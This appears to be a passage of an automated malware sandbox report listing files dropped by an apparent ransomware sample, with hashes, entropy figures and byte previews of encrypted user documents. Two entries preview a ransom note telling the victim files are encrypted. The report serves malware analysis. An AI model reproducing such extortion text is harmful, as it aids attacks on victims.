.d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Documents\PIVFAGEAAV.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.853266520803494
            Encrypted:false
            SSDEEP:24:FrsVYJaog/Fka5iQa8BjqPzIDirzlhHIlvuJTniqOsDPVtAfl:tsuJaW7imbrrz3HGvuJTniPsDPVtAfl
            MD5:F2CF6BC4B8139681C3BE51B24343451C
            SHA1:94ABED4974B58441EBC1CF1FE3307CB2CC1209E1
            SHA-256:9FAF333F427CEF13C00FDDE1F215ED5FA59CE44678E34993AED905665B924ED3
            SHA-512:D3F5E1A616652DCD685719D0DE941025AA06B42BA0260CA84A527125C9B7AD1D368CBAB80F7C6B43BCFE87C15AC97502C587141B755B8318722D994703554C7E
            Malicious:false
            Preview: .........x|..(m.G.....u5.y>.X...@.....nk.......g.z..\V..::..3......P5M.$^......?.a....4C!.&...3O..z........J..0.!.h..z.&='4....Dw....|......6...........g..S.fQ....s1D%-..'... `..6.p.. ./..b.W..]N..2<.....i.%Y..;.UN.iD..sD.BsR-#..L.k..o.L..51....!.......lD..aO...i....c..#.8........X.........k..t.+.?.........h.,.l.Z.`.n.......q.e...)..7..".kv\s`%..E.v.[.QdaX9 ....7K...e..c...c>...'.~[Lj..../..4..s.2.#.A.|.b...^...(...+...|.2..).Y.=c.O~.X......G.O...j.:0.......f..p......S.f.].6.~..s )#r..N.s.`.be>yr..\.Bs...z...x...6..J$7.b......n....C...2..K....'...........`..w.v.fqw.L._T..F6s.~.k.[...Y...:.P..X.N/..".$.[...g.7....3...N...H....r.Q..L.$f...Y.....q9!....%.X.i.}.....`....6...}..m*.hM..at.6......S.c...'.Q .y.Th.`Y..I.,...IHa..T...f..uv.....%6.Fe..t.m.....&{.Z.~%....}..=....i.-p5V..-~)...~.$....d..7.k.r..D..p.].]GJB.....`+.'....i..z.]...;.}'f.....u.o..b.ZzG.X..Q........D......ts.@..l_.U......d.r...(\.j.}....F...m.+....f(l.
            C:\Users\user\Documents\PWCCAWLGRE.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.844308800154633
            Encrypted:false
            SSDEEP:24:taHwAW8tihGqs2OnXQWkcea+zvBkqMHnNsl/ttSGMjkBXrngBvC3aDNDu/lvuJTy:jM6OnOceRpkr0K9BCgwvuJTniPsDPVtm
            MD5:4B912BC8E5E340497B3CA8F0C32D5523
            SHA1:2AC6CA703359D3A180389894B33B7F12A1667D96
            SHA-256:F3FB69F354E735E49E96CC49A4B298F7318C348DAFD8406C04559190EEB49090
            SHA-512:7FFFFEF01C7DAFC1680CC9E0E9F67D7637DDC5091DD5E9788A5EAE02BCDB6476684E30934A4B6884C780DA143FBA1B3C40812045EEECCA0C1E06F1CD9FAB9D51
            Malicious:false
            Preview: X.vs..J........Xi.{.V.W......N..4...*..j...;...@.?......3......p2i...."...0.k.......&j..>\B......)d?."..Xl>...X1a-.........y..AB..'.V...}r.......1..=(...e....4$......R.C...\.aB..,F..!..u..<...z..{..B8.B..`J.9.M.{./7/j.@.........d{ .}..a........"tQ.=...#..3..D.i.C.)t....F.3v6.$T .?:....#a.#.....Ocmg.Z..w.I.-}...J.9q........\.l.........:...T<4y,.....|.1..|...1.gl..O......=......%a:v.`t...*b....M.kN........K..D...4...D..x.L..m.t....ZZQ...b.hm.rn............l.{1B.&.Y.....I....f...z....F...2.~.A".h.....R..z.X.b.o4.....K5...:.(9.;rsT..,(.l F......F..9b....L4...N.l....D.u.|.q.Py..0\`9K..d....(.W..k.N.h.Z"......Z........l.D.....i...a.o.;K.0~X....Q......C.A....}........T......QJ.1...]=....G....X.m.r!..............A.&..X....Gq..!.e....r>Hw..c..]......lEPg...|L.........R7..b...r...n....y.-t...H...o.g..~........WQ..*2..f...u...D........&L}j...H...Js.v..b..tN>6.&.i....P]....[...g..T....g!"m`fC..M.M.C(..p...@...!a....SN3...3....{.[.4|....2H.....BV
            C:\Users\user\Documents\PWCCAWLGRE.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.813889082916788
            Encrypted:false
            SSDEEP:24:g/ruBvPYV65iFmzb0rJ3sKxkQkrHMSQkjwKDXIH9aze5/lvuJTniqOsDPVtCAn:+SBvw+iAzbQeKmQkrHMSVjwMI9x7vuJX
            MD5:A11EFED00EC84435C931840D057CD7AD
            SHA1:460E64720DE90F4B3B6CD2EA988E787A3B74F330
            SHA-256:EA6596ABF84A530C501F67ADBFFE58719D7051BD6A3A1F0B6D1F813F4E776E62
            SHA-512:09AE0354DDDCADD5E22B182E1BD70AE8C620E949953235C2F5D0E7BCDE7D707602AA9C5E8A63857B9850DEDC273179E640CAA765330A175A3F4AF59BE7DBBB42
            Malicious:false
            Preview: .a.....9...a/...KL2.Z..U|.X.*.NLH..?q....Q...=..=`..`.9.y.F..{5.+...,.;:........3.aN..........j."n.U^zv.&.........%...n.......".S...g.....ZC..F(`K...z.O..........1c....+....RS.b..$XO3^..Ywj..@....'.C.HL.w.g..-.....U.;.a....RFqp..4.D\...`.VI(...$H.p.Q..">.k.!I.`..[.<..... ....4....L..x...4eP..1X...]..9...`.s.zPO..`..xQ.:..,....m..i......8N9C..X...{..Mx.w..S.A......33..P.dg...[..D7......KL..+..K.J.p^J..j0.AE...J...W....F../w.8G=..9...E..~S.V...Cj...y......T.j.*.d9..8......sl ..!.....&.G...9H%w/^.....ZV.*'.......:H..8..7.........y....,t.M.....0..@...C.....!$os|u..vH.. ..S....u.w...... E....%....`.P............<...pN....=....5.E..=......O|.....RK.....Qnj.A.,;..8..V.\.^.$...c%62.s9.V.VG.z..V.d..~.d.B.....a..B#qf.E........l.. gS...t.m.oX.p1%...pwlA+....A.....AW.|..".......#...|q$]..IB..:.5nzwJ..a...\....c.jN{.i.s.OX.L..P3.mJ.......6.I....R..;M....i.]...Z...h."5;.SQl$(.HV.8..u+C.s.......h..zgS.....&@...f...Mw&j.......44..U.|T.'....[
            C:\Users\user\Documents\QCFWYSKMHA.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.843620108212235
            Encrypted:false
            SSDEEP:24:6Usgd3Xa9gWwJ0x37wg9HltwVHEPSlvuJTniqOsDPVtnr:6Pg5auzi379lOVHdvuJTniPsDPVtr
            MD5:99A6A699D2100662013CF881E80A2DE6
            SHA1:CE1FD1EDE6D6BE0604BD6EEFC9CFDA6115D8BE91
            SHA-256:FF852D6F709682340EEBAA2398F0FEF4C021DE766C82F44E26821799E74367E5
            SHA-512:362319218A89FADD21593B05975CD5C1B414DE5F976EF19BF27A5E2AA8FC04A2C2E6D02E3AF7CAE932177B175CA2B72394EAB4693835848DACC7DD22CE63F48C
            Malicious:false
            Preview: ..x4K..,.~.s....-...{....g.)..> $..v..........C...3]L...s"\o.q...02,o..RX..j.%.%8......_.....W.1?..-..z.~..#.#./%.(N0....c.a>.L......R......%.......9..'...Ca.......b.b...k.d.v...V..`..p`..af.9q......ZK.M.......6.59..S<..u..V_.....p....h2.N&g...<C....N>..l71..~u.j.. .VpD,...U..c..{...Xh..A{U{|.B...h.H....Q....K....j^.J.S... .;(l@..`[nF..o...Dd.>.Aw=.....~<.g.....~.N....Y.Q4.....q..(uM.u..Nj.W.......w5.}...{.v....A.@.Y..`.<N..%.n.m.2i..R......'...(.&5.v).@...&+.V........VI.-.yQ.+..M..78%}x.%.^..5xX.H...V:S.S8.>... ..~..B..j.\...W*.$3...&.6..u.D.........r.k.t..Q..`g..i.r.w."$.e`..../6c....<.c....+-...~..t6.|.....%.....5...J.Ns5..`..4$..=.{...@.RfEr.L..N.(.b....I6....(.+.........E...I.....1v...+....F2...|.W.y...T.d..)..TU2X.0. S1G8D.y9..=Pj....u....(#..;DFD.W+O..'.d..j(......W.+...|_[.g..)a.*y2..$..._...x....V.bZV.6.......[P/...O.l...f.....B.L.{..&........H.r26-.....}......7x.(.V4-.Z.:-2...^...;r..n...(.e..*K.mY....Xs..f....P_..1L.N..Ov%I.. ..R....
            C:\Users\user\Documents\QCFWYSKMHA\BJZFPPWAPT.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.837745781939457
            Encrypted:false
            SSDEEP:24:w41VsUH0H4VUwe0kwyJbtiKu7W9jwLhYRFPiuzQTSPlt7rlvuJTniqOsDPVtAM3b:wIVp0YVUweJwyJxicwVYRFxQ+lt7Bvuj
            MD5:70F9523A281EDBF932D0F56227821425
            SHA1:41B6223D41C88AF13D333A942353C65CFF6A1652
            SHA-256:F8583CACE3257063D5FEB15720DBB342A2066383E73CB85812C9E0009EB94A9E
            SHA-512:6B6EBF04D2CA64FD29F5BF28EAF91F379F9675B80890086733F62455BE99C1EE33A1620E0192AD766F4A51AA9BA3034A30BA0394EA6FE15EB6635B708B39C203
            Malicious:false
            Preview: .^.$..2.d...b.{..-M...-p}....^.j....Y.x..qp....$..e.c.xZu..N...zd..+..m.w%+.....E...U.F.x..s..KG..waxJ<0../uE.|.CA..%..`..-...C+.K>3.`~e.L...i....*...U.;T...(...#v..)....V....W..].<.......~..R.t.J.uKa.7.B..y..b^.QrR...-[.]..[.`.Y.nn.p{...v..*...!....am..?.%..i..Y......j.8...1.....O.A4.x........U/k...(1Ag.o...H.j+.M...|_d...a../S....B.(.....;.....,h.t............U6&5.F...XHA."..+p..r]..L.2.H..p&.y8VPgL>....+.V......e[E_.o...B.F...../Q%....-...\..^u.g....z'Ri....9'......$.T.B..=!..xl.Z..M.$KN...(..3.....D..JrQ]....$*.x..^c.G&...$ ..&.x..PRxe./.Eo..g..\.a...s..&...`...U.G.i#...O..?=...t.y ...b...7.fF.m...._....R.^.O.......#.q.}.).P.R...f.?%.l..S....P.|.".....].... B...j.;5$.u=....<..~.7{1....._p&Ip=...L.W.w....4pi...&9^6.B.?."(.4.,...G...*(...o..t....F...v...QE..Kw..^e.(...7...2...l..9..0A>.NN..D..:g.....Nv......3.?E?^. F..n..H.-.u..u....+..&.W_E...6!h...6(....)s...0Ho..wi...VDyY.......ee\.e.`::.x..z.)i.._.d.......8f....N..T...E...m]..N...r.P
            C:\Users\user\Documents\QCFWYSKMHA\BNAGMGSPLO.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.823928710665596
            Encrypted:false
            SSDEEP:24:mcld73W8SRrp6w6e6D7HAE9eunlvL6FqQ43oYWAnlolvuJTniqOsDPVtNQ:mcldDWxrAw6d7Hb8uV6FJSoYWAcvuJTm
            MD5:F4817C1518EDB87001BA0DBFB4734B51
            SHA1:4648204EA073546DDBF95632BCAA244FDBF68375
            SHA-256:CC7D3759FCD9A5363A3FAA99C1838D8A2541B2CBD1D76F5F017D2747F8C00FCB
            SHA-512:3EED2778EC3B142690848548A1288DC5E8C77707A31A409A3A62E1D5C3DEBA9405FAC31D6AB9506C541327D9F843B0D6683FE225DA6089E8D258E591022F7D06
            Malicious:false
            Preview: ..`....~..Zm.]...3..;IW.T.7...7..)....q.......6....Nsq...s..,.f..E...I..j..... .p.a..>......:..77J3\^....u.........w.B. i..EOf.m....<..*...D.$...H...CtED...y.......Wb..,..c..O...he...[.0s..UDdvWm..Y..f.I........kW........"...fLg.(|Ha",t>. ......"...........&.j.......r;\..........M... 0..CWP1+".R.seI>K.....w..%.Y%.8..6.@..fZOX...l....L.q.l..?....b[mG.w........C....JM...H.{b.u@.....R.{.....d.)E..;.m..F../... ..+..Z....;]Y..#..t......U.;E.K...F8.;R.O.;v..x.@a.z..Z .P.....{$c8.D.....N|Z..AR1.=.I%/;. ..0...M.:_.4=.:?...Rb'..\"...r<9...>.c...>gh...z..]U.),......m.&!k6...t..../1<.."...4$...4.....5.|m9R+....&....f`.|..e.~.'...U.>.S.Cn...tm..w.., ..........~.x&......%..>.:.@..`...#HW.U.......3..+;.y...."..U'>.%.!.......L#...C..x?5..N_.JN.....9.1.n...C....7q.P..%%.[.R<.y...v...[.....nY.m.F.u.8......AS........J+|..UB..f...%...>..8.4.........m..o..sj6PO.;.D9_.....b../...Sya-E.0.._oO%..........._a...... .F...p.<.C..d....q1...o. ....:|..
            C:\Users\user\Documents\QCFWYSKMHA\EEGWXUHVUG.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.858452364170348
            Encrypted:false
            SSDEEP:24:VateOy3ktbTWqszMpzmQ88YLbxJKurl5fsOWDNqErZMvbu+lvuJTniqOsDPVtYcD:zkbSgzmLrJKOE1NqCZ8bhvuJTniPsDPT
            MD5:2064A478C3D8F9B0AB1E39F6C8E8E21A
            SHA1:52921893E0B17D0F144A9ABD1E15CDDCCE668D6F
            SHA-256:785582C281BD2821348871357881B110EAAD79BA05FA0A75A0B6A1B0EEF8585C
            SHA-512:559C3811A3D2C0563370A910D98E5EBE648B05159F8B8A1FBD5503A40A3D18338BDA96722452EEDD8D1FCC27B3C01C6F85F258E3D6AA43F5E1A8EFE57A77F8B4
            Malicious:false
            Preview: . ..N..$0.......%.L..h....;x72.}.`.6.@.....i......J..:. ..*... a....^.....N.F.?....df.......(.hA........H3..../1....F.^>.zLn.C...]2.L....'.>y ..#..F........t..Y`...psc{D_...WR.p.).....v.w.xw :.u.`..M....z4Z....".....Ai....H.[.{...;..[.x.# .$'.+....w.:P.P..3}....<..j..??e.f.....gjk....2".x.........QC.....(x..-.<...w*.<...)Ru..M.cFrh.E...H-..t.G.M\..^..f......sf.n....T..,....@.2+..N>Q...?.y9.M.n.!..M.L........fL.mf.3..+........\x....VA.!.........`..Q.d.2`L...e~..b"OO..k..%'..Yl.u.E.Q..6.=|Y-...!.Li.........^.2.I...1..`.0/.Qm.L3.t...g9l$`..(...F..#:..~"d.C..d).gF>V..8..,*/.Z\A..C...z-..O4QqEh..&._j.OuQX5y...bR9{..1........I.E[.f..mhE...#...P..3..D.M......^...:[...[.....]...V$.(k..`1.{.......;.#...-.M....+6....B..c..s..4:h...6.~.....&...l..a..U...:.%.+^*..>.._....H.W.-..n.1..NH".......H.g..b@.@..J~..Z=........f!....)Z.>...j..ux..%.ge.o.H..&a..F...>85..x............C75...-=.J...no*.,k....&...LR..l..`}|.B......L...X....o....N<....t..t.4
            C:\Users\user\Documents\QCFWYSKMHA\EFOYFBOLXA.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.842016796190205
            Encrypted:false
            SSDEEP:24:ieleLXpQoq8t/6brmVcxifTrp6IioyfJhDq3ImSTfVpOndelvuJTniqOsDPVt4:Twr3erOcwPYIloJhDq4lT36KvuJTniP/
            MD5:1D32D6B2BF752F076D96105035ACF19D
            SHA1:DADB103F192C5B3568CD2EC01B9FEAF853D3CB3B
            SHA-256:4898483FC8BF2C8043CE5DA31AB0A4A2C202F62D815569DF1DA0D0B9EC8E4292
            SHA-512:6EEA379A42F83D01910B34B378F2BCF0ABF8FFFF4A452DD379CC8F274873D939A998DA9CA00F2F30B6F08B34DFFBE3BCB7416D37C7112666EFF8B19277694C6E
            Malicious:false
            Preview: ...$........g....a.c..fA..6...;.n\q.k...oF...q8In.I9.0..`......kV+...H..r...E.1..vY.U.....E....].O..|qEe...=..3.....sP'.z."....N.~4VQ........).\.F...-.....n .,...+..x;.$..r..N...U}......#{...C7....w...J...D..s.YAh...j.U&#0....e3.I* .%.....W=.......#0\.;.J...F.F.....t..].&.R[...s....d.BZ8RF!%o.CjV&;..."0..........^......@<.".lwc4c....R1.9........F:.bp........-h.%}....W^/>.....!./.OS..57.7T..?....S/q&h<t.<y.h..m...l.{.-....r(.....E.e.;.!"XX.....Q.Y......=.u$m.7kn......C..3{n?..x..Z...Q'...u#01.kv.p..."6s_ |......\?.2<.......M._.xy..M}....[....s.......M.?.nA..........z...&H.Fi....A..9Uan.<q...`...6..fa6.r.M...#2.2....0.3.:.!...Zh.D...|.=..T.....I.>/....C...h.....)|,......rn.....w0..}....GX...?RX"....4...>....c..i..c,y......'.vGV.....x.^.f%qn..L=m.PZ@.[M.GU(.M@...Z9...vQ..\..".)..i......Ni...]...d.w.U?@.."..)GW@4...<....+.......E.t...0-Hxx..O5..r...`p.'6......Q.r.6..............0).....jw.tm.>b..$...@......._.I....P......|.tws..h..W...\...k..
            C:\Users\user\Documents\QCFWYSKMHA\QCFWYSKMHA.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.8528525481145275
            Encrypted:false
            SSDEEP:24:y5D2AfgZIoO6OuMmnHip55vJMxzbd/Z9tgB6Zpzy5VdPElvuJTniqOsDPVtB:y5Dfg/O6OuMmHcazzfZ3zOVdCvuJTnia
            MD5:A716263D26DB37700DD32D9F9599C35B
            SHA1:A2708099232D7C5A1586F53512C54FF9DFEC5DDF
            SHA-256:00F4964C66B7AE23876EEC3C3B0C5F694CC179935CF176CEBB762F6934F261EC
            SHA-512:E7C750F1F7317548E15E9A87E0CB1C71739D49A830ACDE6AA898CE1BDE052C9B09A8B52A0AD77333FF8B8CD187F85CBFC46686AB16A1C9CDBE35422EB6EA6B0E
            Malicious:false
            Preview: G.T6G# ..!.o+.rO......<...c..Zn'.B.McHok.....*..r..)8..Z~o$.`.+EL#O..v..X.i...w..D...Gm.b...X...!ER..?..q...VV.c...DE....Y.........~'......s..?..C........}h........L.k..4.... .Z[.O;E....}@@wQZP|.F.*_.^.......R..G.).|.8......@..%...k.|E ..Y.s....k.......`....._.6.jcz<...uopK...*..p.....\....-....=g1..yf.0cK/6..G....VBT;.C.[..U....Y....^+........`1...zga...m=.FN.F...u..y2..I.m.v..o'H.]Y. p...|...@..._....2..!5k8R.....g.c..D...S.3.w....H.>...........+q.@}i#V..%...e7..3....[4....mG...i[.]w...Z;(H.K....z6..b.;9..g...yf...r\0.X...~.|..............ih:Q...x...}C.C$...l*.yAJ.l..c..BF..`/....._e...ub..[......n.v.V.pP7.....TJ4..D.....%........@o.]T.hf.C....7._.;j:Y..2.....L.H.....:v......./......:...qj....OsFf.V;...i0.`3....B..x`P.....NK...1)..D......0.\.A.#..K:..C...pqn..B.........Or......5........uu5.....;..Pj(..P.d..R..[.{.d.o`.e..r^....]...$.;.*...~...$..U.Sg.})D...Bd.6....p..!Ju.#..m.1b..~....5.}..&..9*D...a.N.U.x.o...6:k|.4.....>...Qad)Q.N....n.B..F.
            C:\Users\user\Documents\QCFWYSKMHA\SUAVTZKNFL.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.832399150430054
            Encrypted:false
            SSDEEP:24:DXbkvNeeImVgWpt0yknT1xBF/JBgCL6k6P8xbKU+c+EzBlvuJTniqOsDPVtW5/o:DLEUeIETTsnT1x/rD6k/bKorvuJTniPC
            MD5:F6297CC96ED6A34F379722663BDD0AB0
            SHA1:185EED62D1E38839ACFA72AFD09D809D182CDAFD
            SHA-256:80C194A070C5C55E595983E786CB48C3D4DDCA025C038935B00D287BB4F3AD5B
            SHA-512:1829A33E44B0EF7FE1958B3F86CB10000EC40A2E770988477D632351303B4FD5CED4C5DA7CAB701488B268A17FEBF95D48E40EA1FB34D8F67AEE0FE773E44A22
            Malicious:false
            Preview: .i...*(..!.-.......$9..5...;s.N.F...<d)..YMb..~.\.....-..$.}={:^.\..Y..I..Lc.x....p5.=.I.g...b....#u>.............rq~z.m.Ol.....1m...9X...$.>...xX.<.7.....a.E(2.I.g.!.........uzsP8..-..e..O.....XY.C......V"..{.p.j...1......I!...sm..o..SK......;..tk.........h.W..K...D...`.fse.}..).V.'{.p?.G'23aj{.I......%..xO....W..........7&H.d............*@m..AX....?......D(.,..=&.L...pA@..:..?.q..LA.....*....M.s...2..0 ....j.a..+V.......1.$4.......N,.....x.jt.o.....Y......V...W.....K..D'.C.)..Vj..9.R+fK..;..J........6.A.VP..........(..;6...~+..Rl.,]..i.l..q.>h....&.d...,.%..'.)Xu..A.E..T.B...N%.J....i.E..&\A..I...{..Vae....C03:..$l..........<V..?{..Ra...1..oK...Q.{.g1. .H.+.~....]#.....l.C.....o...`......#_r...Bd..!..(....d........+.jl&.-(.(.. f..A..R.B:NP.L......@d.g..(..e.....`4.[&..hC.Z<.....xn..Y.Z....C....~..G...F....t.E$E.T.:..-.&0...|...y.e..........P.x\.n..2......b.k.....T.t.w.^C...`P.=.w.m.....9'...a.\b..Cy}...8....7.c+...J..d....._
            C:\Users\user\Documents\QCFWYSKMHA\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Documents\QNCYCDFIJJ.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.822035991678837
            Encrypted:false
            SSDEEP:24:6c3RX3twGeKVQgLbdBeGMLvXYsvbVRhzeekeFvpYClST7x5fnugtE9zDcW5lvuJr:6c3RntWKV3buGUY2bvhlkeFhYCSl5mgB
            MD5:348F2021C9ED525502B04931326C79DE
            SHA1:CB0950AB9DF87F845352AAB49BBCFFE4CE3714C4
            SHA-256:5FC0866D6FBE47CE632F11659F650618915ED7E5F10E0467892C5DF256FCAD02
            SHA-512:FF0727FA3039E0F656A50E110C8E01120AEC38FD83423615AAE823E7BEE8B4F8446226285464511E462CEABCE5F25EF0CBD78D90C16624AA231C77E40E6484CC
            Malicious:false
            Preview: ...*.>")s^d=9.?..b..K...Y.w I.1.n(p....Yz..............r.o../4&....R.c.....#.....X{K.e.H.E.......*.2H....W_T..`.{....e..........A.X.C.e.......?...i.X8.....H.......(..l....(.t<.J1...`Ml...8o..F...N..B..|.....?1...56..KZ..a..9..l....`.....rzp.!.8....;&...8.Y....]9>....B..L.4.....FM.W4.`P.g_....}.+..........d.<...a.q*.............b3f~._&..H.AO.6.Xq...3..T.....a"......1f.|.W.p..C9..n..j.y.......{..*......6W.h...R.~..!.e....P$R.].j..L..[...e8...1.fC.".....{.n@Q.4..3........zh.dO+..0...F.qo..*.t..$....I.+9...v....R,rc.T2...,G."..w.2M.........|.px..m%.=...Q.......H..#N.....m.J..IU.{F...0.p........]..Ae...?b....X."....Q...1..k.EU4....c.$....1J..,6.#....G".....(..@.G..8.~...-H...l.!.{..=.t..1A..P.P......DRC..Sa.6.s..........-....x....C...v.F.X.w..tH..cD..$.[0t.u...%EN6........=.......}.....5..g.y....5.I.V......cl~...I......".)......&.3}.}.......bl.H.[.......@.%.|3.....,...@.n<...=....=....e.CA.........D.Y..4.L....Q...DF...~..q....x.....
            C:\Users\user\Documents\QNCYCDFIJJ.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.82679857037501
            Encrypted:false
            SSDEEP:24:OzRqIyhvBlUbw/TgZej4WfTadgByHJF8CH/47dhZuHonlvuJTniqOsDPVtR+xFfE:O1qIolUbwcZ84SGdNa8/4DZugvuJTniM
            MD5:C4FA33B704F45D0DE3DD58244AB81B4F
            SHA1:7E44E72013787868F1FC78CFCC1EB3D4A4981BEA
            SHA-256:0076A110F2037866B0A4C8F7A39520C0862B331A7A72B8A946E07D465848CEE6
            SHA-512:C330DF9934D797AEC4B6701C307D7FD274D0D4442FF3958A1DC1A3F7B0D48D7B5EAAD0407CEC63DEE6C057DE71E1D0E65BEECDA2E67FDED7A7F8462F2E691A6B
            Malicious:false
            Preview: ..Y...>.+(..a...1v.+=......@..^....8K.7..}.7.M.{..#2f....}...i3[..'....8./..msa.....b.(...<..'.)..9.>^....( ....a..]R.-...o.tO.<b..V..*.;.....up;..|.G._.6.........4.W...p.T.|.A.o;..#....}.y.....U..jT...X....!/U3..TQ....0....wA....X...6~A.v....q..$.#..DB..%........gv.......N.C.!&....n]e.=,..h.e0(.D.....x.....h.HjB...b....uTb..._yz....~.........m%7..Zr.. .K....8..s...ARn..L[...k...N...E].....m.&..A%..b.%o..<.B....WeH_f..Y..5....H...].........9.....LB;..q|.X...|..<.[5...i?6.L...f1!o..r.f.Rs;#^.......pe..A.-.Lb..M...F F.2..7.[.z.~~+D&d.*..uJ>V..a1.\...|...3u...(.}...S....".....5p.xV...T.-.........(.E.h.........@.&......~4.r2!.m...A.r.....I.V...?.s.K....a.e.D...f..T..h..D@.....Y..BiS.sT...hv,..^...J.t.@..q..[.z..w..yLpx:..~..X.P9..Mm.@v.7..~.^..b.%.u:...v.{.W.C..3.3.V.4T..!.[....N.....&5ol.L&.F....s..\..&...I.m....;.#X..........L..b...Rc.g...N...Q.g.%E..+C..~..On.q..!....).Z..&...9.8[...^e.V.....ui..[.C7...............'.B......".c....{..0DT...j..".=O
            C:\Users\user\Documents\SQSJKEBWDT\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
